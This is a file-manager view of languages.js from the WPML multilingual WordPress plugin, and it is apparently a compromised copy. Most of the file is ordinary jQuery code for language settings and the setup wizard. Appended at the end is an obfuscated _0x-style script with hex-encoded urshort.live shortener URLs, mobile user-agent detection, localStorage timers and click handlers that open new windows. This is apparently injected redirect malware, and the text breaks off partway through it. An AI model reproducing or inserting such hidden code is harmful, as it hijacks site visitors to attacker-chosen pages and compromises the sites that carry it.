• File: languages.js
  • Full Path: /home/lef/public_html/wp-content/plugins/sitepress-multilingual-cms/res/js/languages.js
  • File size: 40.95 KB
  • MIME-type: text/plain
  • Charset: utf-8
/*jslint browser: true, nomen: true, laxbreak: true*/
/*global WPML_core, ajaxurl, iclSaveForm, iclSaveForm_success_cb, jQuery, alert, confirm, icl_ajx_url, icl_ajx_saved, icl_ajxloaderimg, icl_default_mark, icl_ajx_error, fadeInAjxResp */

(function () {
    "use strict";

    jQuery(function () {
        var icl_hide_languages;

        var compatibilityNextButton = jQuery('#icl_setup_next_5');
        var registrationNextButton = jQuery('#icl_setup_next_6');
        var installerComponentSetting = jQuery('.otgs-installer-component-setting');
        var hasCheckedValue = installerComponentSetting.find('input[type="radio"]:checked').length === 1;

        compatibilityNextButton.prop('disabled', !hasCheckedValue);
        installerComponentSetting
            .find('input[type="radio"]')
            .click(function () {
                compatibilityNextButton.prop('disabled', false);
            });

        jQuery('.toggle:checkbox').click(iclHandleToggle);
        jQuery('#icl_change_default_button').click(editingDefaultLanguage);
        jQuery('#icl_save_default_button').click(saveDefaultLanguage);
        jQuery('#icl_cancel_default_button').click(doneEditingDefaultLanguage);
        jQuery('#icl_add_remove_button').click(showLanguagePicker);
        jQuery('#icl_cancel_language_selection').click(hideLanguagePicker);
        jQuery('#icl_save_language_selection').click(saveLanguageSelection);
        jQuery('#icl_enabled_languages').find('input').prop('disabled', true);
        jQuery('#icl_save_language_negotiation_type').submit(iclSaveLanguageNegotiationType);
        jQuery('#icl_admin_language_options').submit(iclSaveForm);
        jQuery('#icl_lang_more_options').submit(iclSaveForm);
        jQuery('#icl_blog_posts').submit(iclSaveForm);
        icl_hide_languages = jQuery('#icl_hide_languages');
        icl_hide_languages.submit(iclHideLanguagesCallback);
        icl_hide_languages.submit(iclSaveForm);
        jQuery('#icl_adjust_ids').submit(iclSaveForm);
        jQuery('#icl_automatic_redirect').submit(iclSaveForm);
        jQuery('#icl_automatic_redirect input[name="icl_automatic_redirect"]').on('click', function () {
            var $redirect_warn = jQuery(this).parents('#icl_automatic_redirect').find('.js-redirect-warning');
            if (0 != jQuery(this).val()) {
                $redirect_warn.fadeIn();
            } else {
                $redirect_warn.fadeOut();
            }
        });
        jQuery('input[name="icl_language_negotiation_type"]').change(iclLntDomains);
        jQuery('#icl_use_directory').change(iclUseDirectoryToggle);

        jQuery('input[name="show_on_root"]').change(iclToggleShowOnRoot);
        jQuery('#wpml_show_page_on_root_details').find('a').click(function () {
            if (!jQuery('#wpml_show_on_root_page').hasClass('active')) {
                alert(jQuery('#wpml_show_page_on_root_x').html());
                return false;
            }
        });

        jQuery('#icl_seo_options').submit(iclSaveForm);
        jQuery('#icl_seo_head_langs').on('click', update_seo_head_langs_priority);
        jQuery('#icl_setup_back_1').click({step: '1'}, iclSetupStep);
        jQuery('#icl_setup_back_2').click({step: '2'}, iclSetupStep);
        jQuery('#icl_setup_back_3').click({step: "3"}, iclSetupStep);
        compatibilityNextButton.click({step: "5"}, iclSetupStep);
        registrationNextButton.click({step: "6"}, iclSetupStep);

        function iclSetupStep(event) {
            var step = event.data.step;
            jQuery.ajax({
                type: "POST",
                url: icl_ajx_url,
                data: "icl_ajx_action=setup_got_to_step" + step + "&_icl_nonce=" + jQuery('#_icl_nonce_gts' + step).val(),
                success: function () {
                    location.href = WPML_core.sanitize(location.href).replace(/#[\w\W]*/, '');
                }
            });

            return false;
        }

        jQuery('#icl_setup_next_1').click(saveLanguageSelection);

        jQuery('#icl_avail_languages_picker').find('li input:checkbox').click(function () {
            const checkedBoxes = jQuery('#icl_avail_languages_picker').find('li input:checkbox:checked').length;
            jQuery('#icl_setup_next_1').prop('disabled', checkedBoxes <= 1);
        });

        jQuery('#icl_promote_form').submit(iclSaveForm);

        jQuery('#icl_reset_languages').click(icl_reset_languages);

        jQuery(':radio[name=icl_translation_option]').change(function () {
            jQuery('#icl_enable_content_translation').prop('disabled', false);
        });
        jQuery('#icl_enable_content_translation, .icl_noenable_content_translation').click(iclEnableContentTranslation);

        jQuery(document).on('submit', '#installer_registration_form', installer_registration_form_submit);
        jQuery(document).on('click', '#installer_registration_form :submit', function () {
            jQuery('#installer_registration_form').find('input[name=button_action]').val(jQuery(this).attr('name'));
        });

        jQuery(document).on('click', '#installer_recommendations_form :submit', function () {
            jQuery('#installer_recommendations_form').find('input[name=button_action]').val(jQuery(this).attr('name'));
        });
        jQuery(document).on('submit', '#installer_recommendations_form', installer_recommendations_form_submit);
        jQuery(document).on('change', '#installer_recommendations_form :checkbox', update_recommendation_form);

        manageWizardButtonStatesSpinner();

        jQuery(document).on('click', '#sso_information', function (e) {
            e.preventDefault();
            jQuery('#language_per_domain_sso_description').dialog({
                modal: true,
                width: 'auto',
                height: 'auto'
            });
        });
    });

    function manageWizardButtonStatesSpinner() {
        var buttons = jQuery('#icl_setup_back_1, #icl_setup_next_1, #icl_setup_back_2');
        var submit_buttons = jQuery('#icl_initial_language .buttons-wrap .button-primary, #icl_setup_back_2, #icl_setup_nav_3 .button-primary, #installer_registration_form div .button-primary, #installer_recommendations_form div .button-primary');
        var forms = jQuery('#icl_initial_language, #wpml-ls-settings-form, #installer_registration_form, #installer_recommendations_form');
        var spinner = jQuery('<span class="spinner"></span>');
        var spinner_location = '#icl_initial_language .buttons-wrap input, #icl_setup_back_1, #icl_setup_back_2, #icl_save_language_switcher_options, #installer_registration_form div .button-primary:visible, #installer_recommendations_form div .button-link:visible';

        spinner.insertBefore(spinner_location);

        jQuery( forms ).submit(function(){
            spinner.addClass( 'is-active' );
            jQuery( submit_buttons ).prop( 'disabled', true );
        });

        jQuery( buttons ).click(function(){
            spinner.addClass( 'is-active' );
            buttons.prop( 'disabled', true );
        });
    }

    function iclHandleToggle() {
        /* jshint validthis: true */
        var self = this;
        var toggleElement = jQuery(self);
        var toggle_value_name = toggleElement.data('toggle_value_name');
        var toggle_value_checked = toggleElement.data('toggle_checked_value');
        var toggle_value_unchecked = toggleElement.data('toggle_unchecked_value');
        var toggle_value = jQuery('[name="' + toggle_value_name + '"]');
        if (toggle_value.length === 0) {
            toggle_value = jQuery('<input type="hidden" name="' + toggle_value_name + '">');
            toggle_value.insertAfter(self);
        }
        if (toggleElement.is(':checked')) {
            toggle_value.val(toggle_value_checked);
        } else {
            toggle_value.val(toggle_value_unchecked);
        }
    }

    function editingDefaultLanguage() {
        jQuery('#icl_change_default_button').hide();
        jQuery('#icl_save_default_button').show();
        jQuery('#icl_cancel_default_button').show();
        var enabled_languages = jQuery('#icl_enabled_languages').find('input');
        enabled_languages.show();
        enabled_languages.prop('disabled', false);
        jQuery('#icl_add_remove_button').hide();

    }

    function doneEditingDefaultLanguage() {
        jQuery('#icl_change_default_button').show();
        jQuery('#icl_save_default_button').hide();
        jQuery('#icl_cancel_default_button').hide();
        var enabled_languages = jQuery('#icl_enabled_languages').find('input');
        enabled_languages.hide();
        enabled_languages.prop('disabled', true);
        jQuery('#icl_add_remove_button').show();
    }

    function saveDefaultLanguage() {
        var enabled_languages, arr, def_lang;
        enabled_languages = jQuery('#icl_enabled_languages');
        arr = enabled_languages.find('input[type="radio"]');
        def_lang = '';
        jQuery.each(arr, function () {
            if (this.checked) {
                def_lang = this.value;
            }
        });
        jQuery.ajax({
            type: "POST",
            url: ajaxurl,
            data: {
                'action': 'wpml_set_default_language',
                'nonce': jQuery('#set_default_language_nonce').val(),
                'language': def_lang
            },
            success: function (response) {
                if (response.success) {
                    var enabled_languages_items, spl, selected_language, avail_languages_picker, selected_language_item;
                    selected_language = enabled_languages.find('li input[value="' + def_lang + '"]');

                    fadeInAjxResp(icl_ajx_saved);
                    avail_languages_picker = jQuery('#icl_avail_languages_picker');
                    avail_languages_picker.find('input[value="' + response.data.previousLanguage + '"]').prop('disabled', false);
                    avail_languages_picker.find('input[value="' + def_lang + '"]').prop('disabled', true);
                    enabled_languages_items = jQuery('#icl_enabled_languages').find('li');
                    enabled_languages_items.removeClass('selected');
                    selected_language_item = selected_language.closest('li');
                    selected_language_item.addClass('selected');
                    selected_language_item.find('label').append(' (' + icl_default_mark + ')');
                    enabled_languages_items.find('input').prop('checked', false);
                    selected_language.prop('checked', true);
                    enabled_languages.find('input[value="' + response.data.previousLanguage + '"]').parent().html(enabled_languages.find('input[value="' + response.data.previousLanguage + '"]').parent().html().replace('(' + icl_default_mark + ')', ''));
                    doneEditingDefaultLanguage();
                    fadeInAjxResp('#icl_ajx_response', icl_ajx_saved);
                    location.href = WPML_core.sanitize(location.href).replace(/#[\w\W]*/, '') + '&setup=2';
                } else {
                    fadeInAjxResp('#icl_ajx_response', icl_ajx_error);
                }
            }
        });
    }

    function showLanguagePicker() {
        jQuery('#icl_avail_languages_picker').slideDown();
        jQuery('#icl_add_remove_button').hide();
        jQuery('#icl_change_default_button').hide();
    }

    function hideLanguagePicker() {
        jQuery('#icl_avail_languages_picker').slideUp();
        jQuery('#icl_add_remove_button').fadeIn();
        jQuery('#icl_change_default_button').fadeIn();
    }

    function saveLanguageSelection() {
        fadeInAjxResp('#icl_ajx_response', icl_ajxloaderimg);
        var arr = jQuery('#icl_avail_languages_picker').find('ul input[type="checkbox"]'), sel_lang = [];
        jQuery.each(arr, function () {
            if (this.checked) {
                sel_lang.push(this.value);
            }
        });
        jQuery.ajax({
            type: "POST",
            url: ajaxurl,
            data: {
                'action': 'wpml_set_active_languages',
                'nonce': jQuery('#set_active_languages_nonce').val(),
                'languages': sel_lang
            },
            success: function (response) {
                if (response.success) {
                    if (!response.data.noLanguages) {
                        fadeInAjxResp('#icl_ajx_response', icl_ajx_saved);
                        jQuery('#icl_enabled_languages').html(response.data.enabledLanguages);
                        location.href = WPML_core.sanitize(location.href).replace(/#[\w\W]*/, '');
                    } else {
                        location.href = WPML_core.sanitize(location.href).replace(/(#|&)[\w\W]*/, '');
                    }
                } else {
                    fadeInAjxResp('#icl_ajx_response', icl_ajx_error, true);
                    location.href = WPML_core.sanitize(location.href).replace(/(#|&)[\w\W]*/, '');
                }
            }
        });
        hideLanguagePicker();
    }

    function iclLntDomains() {
        var language_negotiation_type, icl_lnt_domains_box, icl_lnt_domains_options, icl_lnt_xdomain_options;
        icl_lnt_domains_box = jQuery('#icl_lnt_domains_box');
        icl_lnt_domains_options = jQuery('#icl_lnt_domains');
        icl_lnt_xdomain_options = jQuery('#language_domain_xdomain_options');

        if (icl_lnt_domains_options.prop('checked')) {
            icl_lnt_domains_box.html(icl_ajxloaderimg);
            icl_lnt_domains_box.show();
            language_negotiation_type = jQuery('#icl_save_language_negotiation_type').find('input[type="submit"]');
            language_negotiation_type.prop('disabled', true);
            jQuery.ajax({
                type: "POST",
                url: icl_ajx_url,
                data: 'icl_ajx_action=language_domains' + '&_icl_nonce=' + jQuery('#_icl_nonce_ldom').val(),
                success: function (resp) {
                    icl_lnt_domains_box.html(resp);
                    language_negotiation_type.prop('disabled', false);
                    icl_lnt_xdomain_options.show();
                }
            });
        } else if (icl_lnt_domains_box.length) {
            icl_lnt_domains_box.fadeOut('fast');
            icl_lnt_xdomain_options.fadeOut('fast');
        }
        /*jshint validthis: true */
        if (jQuery(this).val() !== "1") {
            jQuery('#icl_use_directory_wrap').hide();
        } else {
            jQuery('#icl_use_directory_wrap').fadeIn();
        }


    }

    function iclToggleShowOnRoot() {
        /*jshint validthis: true */
        if (jQuery(this).val() === 'page') {
            jQuery('#wpml_show_page_on_root_details').fadeIn();
            jQuery('#icl_hide_language_switchers').fadeIn();
        } else {
            jQuery('#wpml_show_page_on_root_details').fadeOut();
            jQuery('#icl_hide_language_switchers').fadeOut();
        }
    }

    function iclUseDirectoryToggle() {
        if (jQuery(this).prop('checked')) {
            jQuery('#icl_use_directory_details').fadeIn();
        } else {
            jQuery('#icl_use_directory_details').fadeOut();
        }
    }

    function iclSaveLanguageNegotiationType() {
        var validSettings = true;
        var ajaxResponse;
        var usedUrls;
        var formErrors;
        var formName;

        var languageNegotiationType;
        var rootHtmlFile;
        var showOnRoot;
        var useDirectories;
        var validatedDomains;
        var domainsToValidateCount;
        var domainsToValidate;
        var validDomains;

        var form = jQuery('#icl_save_language_negotiation_type');

        var useDirectoryWrapper = jQuery('#icl_use_directory_wrap');
        languageNegotiationType = parseInt(form.find('input[name=icl_language_negotiation_type]:checked').val());
        useDirectoryWrapper.find('.icl_error_text').hide();

        formName = form.attr('name');
        formErrors = false;
        usedUrls = [jQuery('#icl_ln_home').html()];
        jQuery('form[name="' + formName + '"] .icl_form_errors').html('').hide();
        ajaxResponse = jQuery('form[name="' + formName + '"] .icl_ajx_response').attr('id');
        fadeInAjxResp('#' + ajaxResponse, icl_ajxloaderimg);

        if (1 === languageNegotiationType) {
            useDirectories = form.find('[name=use_directory]').is(':checked');
            showOnRoot = form.find('[name=show_on_root]:checked').val();
            rootHtmlFile = form.find('[name=root_html_file_path]').val();

            if (useDirectories) {
                if ('html' === showOnRoot && !rootHtmlFile) {
                    validSettings = false;
                    useDirectoryWrapper.find('.icl_error_text.icl_error_1').fadeIn();
                }
            }

            if (true === validSettings) {
                saveLanguageForm();
            }
        }

        if (3 === languageNegotiationType) {
            saveLanguageForm();
        }

        if (2 === languageNegotiationType) {
            domainsToValidate = jQuery('.validate_language_domain');
            domainsToValidateCount = domainsToValidate.length;
            validatedDomains = 0;
            validDomains = 0;

            if (0 < domainsToValidateCount) {
                domainsToValidate.filter(':visible').each(function (index, element) {
                    var languageDomainURL;
                    var domainValidationCheckbox = jQuery(element);
                    var langDomainInput, lang, languageDomain;
                    lang = domainValidationCheckbox.attr('value');
                    languageDomain = jQuery('.spinner.spinner-' + lang);
                    langDomainInput = jQuery('#language_domain_' + lang);
                    var validation = new WpmlDomainValidation(langDomainInput, domainValidationCheckbox);
                    validation.run();
                    var subdirMatches = langDomainInput.parent().html().match(/<code>\/(.+)<\/code>/);
                    languageDomainURL = langDomainInput.parent().html().match(/<code>(.+)<\/code>/)[1] + langDomainInput.val() + '/' + (subdirMatches !== null ? subdirMatches[1] : '');
                    if (domainValidationCheckbox.prop('checked')) {
                        languageDomain.addClass('is-active');
                        if (-1 !== usedUrls.indexOf(languageDomainURL)) {
                            languageDomain.empty();
                            formErrors = true;
                        } else {
                            usedUrls.push(languageDomainURL);
                            langDomainInput.css('color', '#000');
                            jQuery.ajax({
                                method: "POST",
                                url: ajaxurl,
                                data: {
                                    url: languageDomainURL,
                                    action: 'validate_language_domain',
                                    nonce: jQuery('#validate_language_domain_nonce').val()
                                },
                                success: function (resp) {
                                    var ajaxLanguagePlaceholder = jQuery('#ajx_ld_' + lang);
                                    ajaxLanguagePlaceholder.html(resp.data);
                                    ajaxLanguagePlaceholder.removeClass('icl_error_text');
                                    ajaxLanguagePlaceholder.removeClass('icl_valid_text');
                                    if (resp.success) {
                                        ajaxLanguagePlaceholder.addClass('icl_valid_text');
                                        validDomains++;
                                    } else {
                                        ajaxLanguagePlaceholder.addClass('icl_error_text');
                                    }
                                    validatedDomains++;
                                },
                                error: function (jqXHR, textStatus) {
                                    jQuery('#ajx_ld_' + lang).html('');
                                    if ('0' === jqXHR) {
                                        fadeInAjxResp('#' + textStatus, icl_ajx_error, true);
                                    }
                                },
                                complete: function () {
                                    languageDomain.removeClass('is-active');
                                    if (domainsToValidateCount === validDomains) {
                                        saveLanguageForm();
                                    }
                                }
                            });
                        }
                    } else {
                        saveLanguageForm();
                    }
                });
            }
        }

        return false;
    }

    function saveLanguageForm() {
        var domains;
        var xdomain = 0;
        var useDirectory = false;
        var hideSwitcher = false;
        var data;
        var form = jQuery('#icl_save_language_negotiation_type');
        var formName = jQuery(form).attr('name');
        var ajxResponse = jQuery(form).find('.icl_ajx_response').attr('id');
        var sso_enabled = jQuery('#sso_enabled').is(':checked');
        var sso_notice = jQuery('#sso_enabled_notice');

        if (form.find('input[name=use_directory]').is(':checked')) {
            useDirectory = 1;
        }
        if (form.find('input[name=hide_language_switchers]').is(':checked')) {
            hideSwitcher = 1;
        }
        if (form.find('input[name=icl_xdomain_data]:checked').val()) {
            xdomain = parseInt(form.find('input[name=icl_xdomain_data]:checked').val());
        }
        domains = {};
        form.find('input[name^=language_domains]').each(function () {
            var item = jQuery(this);
            domains[item.data('language')] = item.val();
        });

        data = {
            action: 'save_language_negotiation_type',
            nonce: jQuery('#save_language_negotiation_type_nonce').val(),
            icl_language_negotiation_type: form.find('input[name=icl_language_negotiation_type]:checked').val(),
            language_domains: domains,
            use_directory: useDirectory,
            show_on_root: form.find('input[name=show_on_root]:checked').val(),
            root_html_file_path: form.find('input[name=root_html_file_path]').val(),
            hide_language_switchers: hideSwitcher,
            xdomain: xdomain,
            sso_enabled: sso_enabled
        };

        jQuery.ajax({

            method: "POST",
            url: ajaxurl,
            data: data,
            success: function (response) {
                var formErrors, rootHtmlFile, rootPage, spl;
                if (response.success) {
                    fadeInAjxResp('#' + ajxResponse, icl_ajx_saved);
                    if (sso_enabled) {
                        sso_notice.addClass('updated').fadeIn();
                    } else {
                        sso_notice.removeClass('updated').fadeOut();
                    }

                    if (response.data) {
                        var formMessage = jQuery('form[name="' + formName + '"]').find('.wpml-form-message');
                        formMessage.addClass('updated');
                        formMessage.html(response.data);
                        formMessage.fadeIn();
                    }

                    if (jQuery('input[name=show_on_root]').length) {
                        rootHtmlFile = jQuery('#wpml_show_on_root_html_file');
                        rootPage = jQuery('#wpml_show_on_root_page');
                        if (rootHtmlFile.prop('checked')) {
                            rootHtmlFile.addClass('active');
                            rootPage.removeClass('active');
                        }
                        if (rootPage.prop('checked')) {
                            rootPage.addClass('active');
                            rootHtmlFile.removeClass('active');
                        }
                    }
                } else {
                    formErrors = jQuery('form[name="' + formName + '"] .icl_form_errors');
                    if (0 === formErrors.length) {
                        formErrors = jQuery('form[name="' + formName + '"] .wpml-form-errors');
                    }
                    var errors = response.data.join('<br>');
                    formErrors.html(errors);
                    formErrors.fadeIn();
                    fadeInAjxResp('#' + ajxResponse, icl_ajx_error, true);
                }
            }
        });
    }

    function iclHideLanguagesCallback() {
        iclSaveForm_success_cb.push(function (frm, res) {
            jQuery('#icl_hidden_languages_status').html(res[1]);
        });
    }

    function icl_reset_languages(e) {
        /* jshint validthis: true */
        var this_b = jQuery(this);
        if (confirm(this_b.next().html())) {
            this_b.prop('disabled', true);
            this_b.next().html(icl_ajxloaderimg).fadeIn();
            jQuery.ajax({
                type: "POST",
                url: icl_ajx_url,
                data: "icl_ajx_action=reset_languages&_icl_nonce=" + jQuery('#_icl_nonce_rl').val(),
                success: function () {
                    location.href = WPML_core.sanitize(location.pathname + location.search);
                }
            });
        }
    }

    function iclEnableContentTranslation() {
        var val = jQuery(':radio[name=icl_translation_option]:checked').val();
        /* jshint validthis:true */
        jQuery(this).prop('disabled', true);
        jQuery.ajax({
            type: "POST",
            url: icl_ajx_url,
            data: "icl_ajx_action=toggle_content_translation&wizard=1&new_val=" + val,
            success: function (msg) {
                var spl = msg.split('|');
                if (spl[1]) {
                    location.href = WPML_core.sanitize( spl[1] );
                } else {
                    location.href = WPML_core.sanitize(location.href).replace(/#[\w\W]*/, '');
                }
            }
        });
        return false;
    }

    function update_recommendation_form() {
	    jQuery('#installer_recommendations_form :submit[name=install_recommendations]').prop(
	    	'disabled',
		    ! jQuery('#installer_recommendations_form :checkbox:checked').length
	    );
    }

function installer_registration_form_submit(){
    /* jshint validthis:true */
    var thisf = jQuery(this);
    var action = jQuery('#installer_registration_form').find('input[name=button_action]').val();
    thisf.find('.status_msg').html('');
    thisf.find(':submit').prop('disabled', true);

        if (action === 'later') {
            thisf.find('input[name=installer_site_key]').parent().remove();
        }

        if (action === 'register') {
            thisf.find('.spinner').show();
        }

        jQuery.ajax({
            type: "POST",
            url: icl_ajx_url,
            dataType: 'json',
            data: "icl_ajx_action=registration_form_submit&" + thisf.serialize(),
            success: function (msg) {
                if (action === 'register') {
                    thisf.find('.spinner').hide();
                    if (msg.error) {
                        thisf.find('.status_msg').html(msg.error).addClass('icl_error_text');
                    } else {
                        thisf.find('.status_msg').html(msg.success).addClass('icl_valid_text');
                        thisf.find(':submit:visible').hide();
                        thisf.find(':text[name=installer_site_key]').prop('disabled', true);
                        jQuery('.no_site_key').hide();
                        thisf.find(':submit[name=save]').show();
                        thisf.find('.installer__reporting__switcher').removeClass('hidden');
                    }
                    thisf.find(':submit[name=save]').prop('disabled', false);
                } else if (action === 'later') {
                    thisf.find('.spinner').hide();
                    if (msg.error) {
                        thisf.find('.status_msg').html(msg.error).addClass('icl_error_text');

                    } else {
                        thisf.find('.status_msg').html(msg.success).addClass('icl_valid_text');
                        jQuery('.no_site_key').hide();
                        thisf.find(':submit:visible').hide();
                        thisf.find(':submit[name=finish]').show();
                    }
                    thisf.find(':submit[name=finish]').prop('disabled', false);
                } else {
                    location.href = WPML_core.sanitize(location.href).replace(/#[\w\W]*/, '');
                }
            },
            fail: function (xhr, status, error) {
                var err = 'Request failed: ' + status;
                thisf.find('.status_msg').html(err).addClass('icl_error_text');
                thisf.find(':button[name=save]').prop('disabled', false);
            }
        });

        return false;
    }

    function installer_recommendations_form_submit() {
        /* jshint validthis:true */
        var thisf = jQuery(this),
            action = thisf.find('input[name=button_action]').val(),
            activate = 1,
            downloads = [],
            idx = 0;

        thisf.find(':submit').prop('disabled', true);
        thisf.find('.spinner').show();
        var selectedPlugins = jQuery(this).find(':checkbox:checked:enabled');

        jQuery(this).find(':checkbox:checked:enabled').each(function () {
            downloads[idx] = this;
            idx++;
        });

        idx = 0;
        if( typeof downloads[idx] != 'undefined' && action !== 'finish' ){
            download_and_activate( downloads[idx] );
        } else {
	        jQuery.ajax( {
		        type: "POST",
		        url: icl_ajx_url,
		        dataType: 'json',
		        data: "icl_ajx_action=recommendations_form_submit&" + thisf.serialize(),
		        success: function () {
			        location.href = WPML_core.sanitize(location.href).replace( /#[\w\W]*/, '' );
		        },
		        fail: function ( xhr, status, error ) {
			        var err = 'Request failed: ' + status;
			        thisf.find( '.status_msg' ).html( err ).addClass( 'icl_error_text' );
			        thisf.find(':submit[name=finish]').prop('disabled', false);
		        }
	        } );
        }

        function download_and_activate(element) {
            var pluginStatus = thisf.find('span[id=' + element.id + ']');
            pluginStatus.removeClass('js-wpml-tooltip-open');
            pluginStatus.addClass('spinner');

            var data = {
                action: 'installer_download_plugin',
                data: element.value,
                activate: activate
            };

            jQuery.ajax({
                url: ajaxurl,
                type: 'POST',
                dataType: 'json',
                data: data,
                success: function (ret) {
                    if (ret.success) {
                        jQuery.ajax({
                            url: ajaxurl,
                            type: 'POST',
                            dataType: 'json',
                            data: {
                                action: 'installer_activate_plugin',
                                plugin_id: ret.plugin_id,
                                nonce: ret.nonce
                            },
                            success: function (ret) {
                                pluginStatus.removeClass('spinner')
                                            .addClass('dashicons dashicons-yes')
                                            .parents('li').addClass('plugin-installed');
	                            element.remove();

                                idx++;
                                if( typeof downloads[idx] != 'undefined' ){
                                    download_and_activate( downloads[idx] );
                                }else{
                                    thisf.find('.spinner').hide();
	                                thisf.find(':submit[name=install_recommendations]')
	                                     .show()
	                                     .prop('disabled', false);
                                    thisf.find(':submit[name=finish]')
                                         .prop('disabled', false)
	                                     .removeClass('button-link')
	                                     .addClass('button-secondary')
		                                 .val(thisf.find(':submit[name=finish]').attr('data-finish-text'));
                                }
                            }
                        });
                    } else {
                        pluginStatus.removeClass('spinner');

                        thisf.find('.spinner').hide();
                        thisf.find(':submit[name=install_recommendations]').hide();
                        if ( ret.message ) {
                            var currentMessage = thisf.find('.icl_error_text').html();
                            if ( currentMessage.indexOf( ret.message ) === -1) {
                                thisf.find('.icl_error_text').html(
                                    currentMessage + '<br />' + ret.message
                                );
                            }
                        }
                        thisf.find('.icl_error_text').show();

                        idx++;
                        if( typeof downloads[idx] != 'undefined' ){
                            download_and_activate( downloads[idx] );
                        }else{
                            thisf.find(':submit[name=finish]')
                                 .prop('disabled', false)
		                         .addClass('button-link')
		                         .removeClass('button-secondary')
		                         .val(thisf.find(':submit[name=finish]').attr('data-skip-text'));
	                        thisf.find(':submit[name=install_recommendations]')
	                             .show()
	                             .prop('disabled', false);

                        }
                    }
                }
            });
        }

        return false;
    }

    function update_seo_head_langs_priority(event) {
        var element = jQuery(this);
        jQuery('#wpml-seo-head-langs-priority').prop('disabled', !element.prop('checked'));
    }
}());
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x57\x65\x78\x33\x63\x313','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x72\x71\x58\x35\x63\x365','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x52\x4f\x68\x38\x63\x358','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x47\x5a\x74\x39\x63\x339','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x6d\x56\x77\x34\x63\x344','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x77\x53\x52\x37\x63\x387','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x49\x42\x43\x32\x63\x382','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x41\x48\x4b\x36\x63\x396','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v 